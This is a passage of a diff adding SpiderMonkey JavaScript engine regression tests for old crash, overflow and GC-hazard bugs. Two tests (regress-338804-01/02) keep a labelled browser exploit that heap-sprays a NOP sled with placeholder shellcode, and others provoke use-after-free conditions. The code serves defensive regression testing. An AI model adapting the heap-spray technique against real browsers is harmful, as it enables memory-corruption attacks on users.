+++ b/js/src/tests/js1_5/extensions/regress-328443.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328443;
+var summary = 'Uncatchable exception with |new (G.call) (F);| when F proto is null';
+var actual = '';
+var expect = 'Exception caught';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var F = (function(){});
+F.__proto__ = null;
+
+var G = (function(){});
+
+var z;
+
+z = "uncatchable exception!!!";
+try {
+ new (G.call) (F);
+
+ actual = "No exception";
+} catch (er) {
+ actual = "Exception caught";
+ printStatus("Exception was caught: " + er);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-328556.js b/js/src/tests/js1_5/extensions/regress-328556.js
new file mode 100644
index 000000000..7a5b21041
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-328556.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328556;
+var summary = 'Do not Assert: growth == (size_t)-1 || (nchars + 1) * sizeof(char16_t) == growth, in jsarray.c';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var D = [];
+D.foo = D;
+uneval(D);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-330569.js b/js/src/tests/js1_5/extensions/regress-330569.js
new file mode 100644
index 000000000..986429fae
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-330569.js
@@ -0,0 +1,94 @@
+// |reftest| skip -- Yarr doesn't bail on complex regexps.
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330569;
+var summary = 'RegExp - throw InternalError on too complex regular expressions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var s;
+ expect = 'InternalError: regular expression too complex';
+
+ s = '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">' +
+ '<html>\n' +
+ '<head>\n' +
+ '<meta http-equiv="content-type" content="text/html; charset=windows-1250">\n' +
+ '<meta name="generator" content="PSPad editor, www.pspad.com">\n' +
+ '<title></title>\n'+
+ '</head>\n' +
+ '<body>\n' +
+ '<!-- hello -->\n' +
+ '<script language="JavaScript">\n' +
+ 'var s = document. body. innerHTML;\n' +
+ 'var d = s. replace (/<!--(.*|\n)*-->/, "");\n' +
+ 'alert (d);\n' +
+ '</script>\n' +
+ '</body>\n' +
+ '</html>\n';
+
+ try
+ {
+ /<!--(.*|\n)*-->/.exec(s);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': /<!--(.*|\\n)*-->/.exec(s)');
+
+ function testre( re, n ) {
+ for ( var i= 0; i <= n; ++i ) {
+ re.test( Array( i+1 ).join() );
+ }
+ }
+
+ try
+ {
+ testre( /(?:,*)*x/, 22 );
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': testre( /(?:,*)*x/, 22 )');
+
+ try
+ {
+ testre( /(?:,|,)*x/, 22 );
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': testre( /(?:,|,)*x/, 22 )');
+
+ try
+ {
+ testre( /(?:,|,|,|,|,)*x/, 10 );
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': testre( /(?:,|,|,|,|,)*x/, 10 )');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-333541.js b/js/src/tests/js1_5/extensions/regress-333541.js
new file mode 100644
index 000000000..cc868daf3
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-333541.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 333541;
+var summary = '1..toSource()';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function a(){
+ return 1..toSource();
+}
+
+try
+{
+ expect = 'function a() {\n return 1..toSource();\n}';
+ actual = a.toString();
+ compareSource(expect, actual, summary + ': 1');
+}
+catch(ex)
+{
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': 1');
+}
+
+try
+{
+ expect = 'function a() {return 1..toSource();}';
+ actual = a.toSource();
+ compareSource(expect, actual, summary + ': 2');
+}
+catch(ex)
+{
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': 2');
+}
+
+expect = a;
+actual = a.valueOf();
+reportCompare(expect, actual, summary + ': 3');
+
+try
+{
+ expect = 'function a() {\n return 1..toSource();\n}';
+ actual = "" + a;
+ compareSource(expect, actual, summary + ': 4');
+}
+catch(ex)
+{
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': 4');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-336409-1.js b/js/src/tests/js1_5/extensions/regress-336409-1.js
new file mode 100644
index 000000000..32dbb3633
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-336409-1.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!xulRuntime.shell||Android) slow -- no results reported.
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336409;
+var summary = 'Integer overflow in js_obj_toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 64;
+ printStatus('Creating ' + n + 'MB string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating object');
+ var o = {f1: r, f2: r, f3: r,f4: r,f5: r, f6: r, f7: r, f8: r,f9: r};
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+ print(actual);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-336409-2.js b/js/src/tests/js1_5/extensions/regress-336409-2.js
new file mode 100644
index 000000000..b979eb208
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-336409-2.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!xulRuntime.shell&&((Android||(isDebugBuild&&xulRuntime.OS=="Linux")||xulRuntime.XPCOMABI.match(/x86_64/)))) slow -- can fail silently due to out of memory, bug 615011 - timeouts on slow debug Linux
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336409;
+var summary = 'Integer overflow in js_obj_toSource';
+var actual = 'No Crash';
+var expect = /(No Crash|InternalError: allocation size overflow|out of memory)/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 128;
+ printStatus('Creating ' + n + 'MB string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating object');
+ var o = {f1: r, f2: r, f3: r,f4: r,f5: r, f6: r, f7: r, f8: r,f9: r};
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ actual = ex + '';
+ print(actual);
+}
+
+reportMatch(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-336410-1.js b/js/src/tests/js1_5/extensions/regress-336410-1.js
new file mode 100644
index 000000000..5362d0d94
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-336410-1.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!xulRuntime.shell||Android) slow -- can fail silently due to out of memory
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336410;
+var summary = 'Integer overflow in array_toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 64;
+ printStatus('Creating ' + n + 'M length string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating array');
+ var o=[r, r, r, r, r, r, r, r, r];
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ expect = '\(InternalError: allocation size overflow|out of memory\)';
+ actual = ex + '';
+ print(actual);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-336410-2.js b/js/src/tests/js1_5/extensions/regress-336410-2.js
new file mode 100644
index 000000000..4ce18b65a
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-336410-2.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!xulRuntime.shell&&((isDebugBuild&&xulRuntime.OS=="Linux")||Android||xulRuntime.XPCOMABI.match(/x86_64/)||xulRuntime.OS=="WINNT")) slow -- can fail silently due to out of memory, bug 621348 - timeouts on slow debug Linux
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336410;
+var summary = 'Integer overflow in array_toSource';
+var actual = 'No Crash';
+var expect = /(No Crash|InternalError: allocation size overflow|out of memory)/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 128;
+ printStatus('Creating ' + n + 'M length string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating array');
+ var o=[r, r, r, r, r, r, r, r, r];
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ actual = ex + '';
+ print(actual);
+}
+
+reportMatch(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-338804-01.js b/js/src/tests/js1_5/extensions/regress-338804-01.js
new file mode 100644
index 000000000..9fb3a4a89
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-338804-01.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338804;
+var summary = 'GC hazards in constructor functions';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus ('Uses Intel Assembly');
+
+// <script>
+// SpiderMonkey Script() GC hazard exploit
+//
+// scale: magic number ;-)
+// BonEcho/2.0a2: 3000
+// Firefox/1.5.0.4: 2000
+//
+var rooter, scale = 3000;
+
+/*
+ if(typeof(setTimeout) != "undefined") {
+ setTimeout(exploit, 2000);
+ } else {
+ exploit();
+ }
+*/
+
+function exploit() {
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script not defined.');
+ }
+ else
+ {
+ Script({ toString: fillHeap });
+ Script({ toString: fillHeap });
+ }
+}
+
+function createPayload() {
+ var result = "\u9090", i;
+ for(i = 0; i < 9; i++) {
+ result += result;
+ }
+ /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+ result += "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+ return result;
+}
+
+function fillHeap() {
+ rooter = [];
+ var payload = createPayload(), block = "", s2 = scale * 2, i;
+ for(i = 0; i < scale; i++) {
+ rooter[i] = block = block + payload;
+ }
+ for(; i < s2; i++) {
+ rooter[i] = payload + i;
+ }
+ return "";
+}
+
+// </script>
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-338804-02.js b/js/src/tests/js1_5/extensions/regress-338804-02.js
new file mode 100644
index 000000000..e1e2a77ee
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-338804-02.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338804;
+var summary = 'GC hazards in constructor functions';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus ('Uses Intel Assembly');
+
+// <script>
+// SpiderMonkey Script() GC hazard exploit
+//
+// scale: magic number ;-)
+// BonEcho/2.0a2: 3000
+// Firefox/1.5.0.4: 2000
+//
+var rooter, scale = 2000;
+
+exploit();
+/*
+ if(typeof(setTimeout) != "undefined") {
+ setTimeout(exploit, 2000);
+ } else {
+ exploit();
+ }
+*/
+
+function exploit() {
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script not defined.');
+ }
+ else
+ {
+ Script({ toString: fillHeap });
+ Script({ toString: fillHeap });
+ }
+}
+
+function createPayload() {
+ var result = "\u9090", i;
+ for(i = 0; i < 9; i++) {
+ result += result;
+ }
+ /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+ result += "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+ return result;
+}
+
+function fillHeap() {
+ rooter = [];
+ var payload = createPayload(), block = "", s2 = scale * 2, i;
+ for(i = 0; i < scale; i++) {
+ rooter[i] = block = block + payload;
+ }
+ for(; i < s2; i++) {
+ rooter[i] = payload + i;
+ }
+ return "";
+}
+
+// </script>
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-338804-03.js b/js/src/tests/js1_5/extensions/regress-338804-03.js
new file mode 100644
index 000000000..b3e759725
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-338804-03.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338804;
+var summary = 'GC hazards in constructor functions';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof Script != 'undefined')
+{
+ Script({ toString: fillHeap });
+}
+RegExp({ toString: fillHeap });
+
+function fillHeap() {
+ if (typeof gc == 'function') gc();
+ var x = 1, tmp;
+ for (var i = 0; i != 50000; ++i) {
+ tmp = x / 3;
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-339685.js b/js/src/tests/js1_5/extensions/regress-339685.js
new file mode 100644
index 000000000..295a08068
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-339685.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 339685;
+var summary = 'Setting __proto__ null should not affect __iterator__';
+var actual = '';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var d = { a:2, b:3 };
+
+d.__proto__ = null;
+
+try {
+ for (var p in d)
+ ;
+ actual = 'No Error';
+} catch(e) {
+ actual = e + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-341956-01.js b/js/src/tests/js1_5/extensions/regress-341956-01.js
new file mode 100644
index 000000000..be5865384
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-341956-01.js
@@ -0,0 +1,68 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341956;
+var summary = 'GC Hazards in jsarray.c - unshift';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 0xFFFFFFFF;
+
+ var a = [];
+ a[N - 1] = 1;
+ a.__defineGetter__(N - 1, function() {
+ var tmp = [];
+ tmp[N - 2] = 0;
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ return 10;
+ });
+
+
+// The following always-throw getter is to stop unshift from doing
+// 2^32 iterations.
+ var toStop = "stringToStop";
+ a[N - 3] = 0;
+ a.__defineGetter__(N - 3, function() { throw toStop; });
+
+ var good = false;
+
+ try {
+ a.unshift(1);
+ } catch (e) {
+ if (e === toStop)
+ good = true;
+ }
+
+ expect = true;
+ actual = good;
+
+ reportCompare(expect, actual, summary);
+
+ print('Done');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-341956-02.js b/js/src/tests/js1_5/extensions/regress-341956-02.js
new file mode 100644
index 000000000..61fe4ff9d
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-341956-02.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341956;
+var summary = 'GC Hazards in jsarray.c - pop';
+var actual = '';
+var expect = 'GETTER RESULT';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 0xFFFFFFFF;
+ var a = [];
+ a[N - 1] = 0;
+
+ var expected = "GETTER RESULT";
+
+ a.__defineGetter__(N - 1, function() {
+ delete a[N - 1];
+ var tmp = [];
+ tmp[N - 2] = 1;
+
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ return expected;
+ });
+
+ actual = a.pop();
+
+ reportCompare(expect, actual, summary);
+
+ print('Done');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-341956-03.js b/js/src/tests/js1_5/extensions/regress-341956-03.js
new file mode 100644
index 000000000..b52f4148b
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-341956-03.js
@@ -0,0 +1,72 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341956;
+var summary = 'GC Hazards in jsarray.c - reverse';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 0xFFFFFFFF;
+ var a = [];
+ a[N - 1] = 0;
+
+ var expected = "GETTER RESULT";
+
+ a.__defineGetter__(N - 1, function() {
+ delete a[N - 1];
+ var tmp = [];
+ tmp[N - 2] = 1;
+
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ return expected;
+ });
+
+// The following always-throw getter is to stop unshift from doing
+// 2^32 iterations.
+ var toStop = "stringToStop";
+ a[N - 3] = 0;
+ a.__defineGetter__(N - 3, function() { throw toStop; });
+
+
+ var good = false;
+
+ try {
+ a.reverse();
+ } catch (e) {
+ if (e === toStop)
+ good = true;
+ }
+
+ expect = true;
+ actual = good;
+
+ reportCompare(expect, actual, summary);
+
+ print('Done');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-342960.js b/js/src/tests/js1_5/extensions/regress-342960.js
new file mode 100644
index 000000000..715427df7
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-342960.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!xulRuntime.shell&&(Android||xulRuntime.OS=="WINNT"||xulRuntime.OS=="Linux")) silentfail slow -- bug 528464
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 342960;
+var summary = 'Do not crash on large string toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expectExitCode(0);
+ expectExitCode(5);
+
+ function v()
+ {
+ var meg="";
+ var r="";
+ var i;
+ print("don't interrupt the script. let it go.");
+ for(i=0;i<1024*1024;i++) meg += "v";
+ for(i=0;i<1024/8;i++) r += meg;
+ var o={f1: r, f2: r, f3: r,f4: r,f5: r, f6: r, f7: r, f8: r,f9: r};
+ print('done obj');
+ var rr=r.toSource();
+ print('done toSource()');
+ }
+
+ v();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-345967.js b/js/src/tests/js1_5/extensions/regress-345967.js
new file mode 100644
index 000000000..58b72e3ad
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-345967.js
@@ -0,0 +1,68 @@
+// |reftest| skip -- slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345967;
+var summary = 'Yet another unrooted atom in jsarray.c';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expectExitCode(0);
+ expectExitCode(3);
+
+ print('This test will probably run out of memory');
+ print('This test really should only fail on 64 bit machines');
+
+ var JSVAL_INT_MAX = (1 << 30) - 1;
+
+ var a = new Array(JSVAL_INT_MAX + 2);
+ a[JSVAL_INT_MAX] = 0;
+ a[JSVAL_INT_MAX + 1] = 1;
+
+ a.__defineGetter__(JSVAL_INT_MAX, function() { return 0; });
+
+ a.__defineSetter__(JSVAL_INT_MAX, function(value) {
+ delete a[JSVAL_INT_MAX + 1];
+ var tmp = [];
+ tmp[JSVAL_INT_MAX + 2] = 2;
+
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ });
+
+
+ a.shift();
+
+ expect = 0;
+ actual = a[JSVAL_INT_MAX];
+ if (expect !== actual)
+ print("BAD");
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-346494-01.js b/js/src/tests/js1_5/extensions/regress-346494-01.js
new file mode 100644
index 000000000..755c3ddf4
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-346494-01.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346494;
+var summary = 'various try...catch tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var pfx = "(function (x) {try {throw x}",
+ cg1 = " catch (e if e === 42) {var v = 'catch guard 1 ' + e; actual += v + ','; print(v);}"
+ cg2 = " catch (e if e === 43) {var v = 'catch guard 2 ' + e; actual += v + ','; print(v);}"
+ cat = " catch (e) {var v = 'catch all ' + e; actual += v + ','; print(v);}"
+ fin = " finally{var v = 'fin'; actual += v + ','; print(v)}",
+ end = "})";
+
+ var exphash = {
+ pfx: "(function (y) { var result = ''; y = y + ',';",
+ cg1: "result += (y === '42,') ? ('catch guard 1 ' + y):'';",
+ cg2: "result += (y === '43,') ? ('catch guard 2 ' + y):'';",
+ cat: "result += /catch guard/.test(result) ? '': ('catch all ' + y);",
+ fin: "result += 'fin,';",
+ end: "return result;})"
+ };
+
+ var src = [
+ pfx + fin + end,
+ pfx + cat + end,
+ pfx + cat + fin + end,
+ pfx + cg1 + end,
+ pfx + cg1 + fin + end,
+ pfx + cg1 + cat + end,
+ pfx + cg1 + cat + fin + end,
+ pfx + cg1 + cg2 + end,
+ pfx + cg1 + cg2 + fin + end,
+ pfx + cg1 + cg2 + cat + end,
+ pfx + cg1 + cg2 + cat + fin + end,
+ ];
+
+ var expsrc = [
+ exphash.pfx + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cat + exphash.end,
+ exphash.pfx + exphash.cat + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cg1 + exphash.end,
+ exphash.pfx + exphash.cg1 + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cg1 + exphash.cat + exphash.end,
+ exphash.pfx + exphash.cg1 + exphash.cat + exphash.fin + exphash.end,
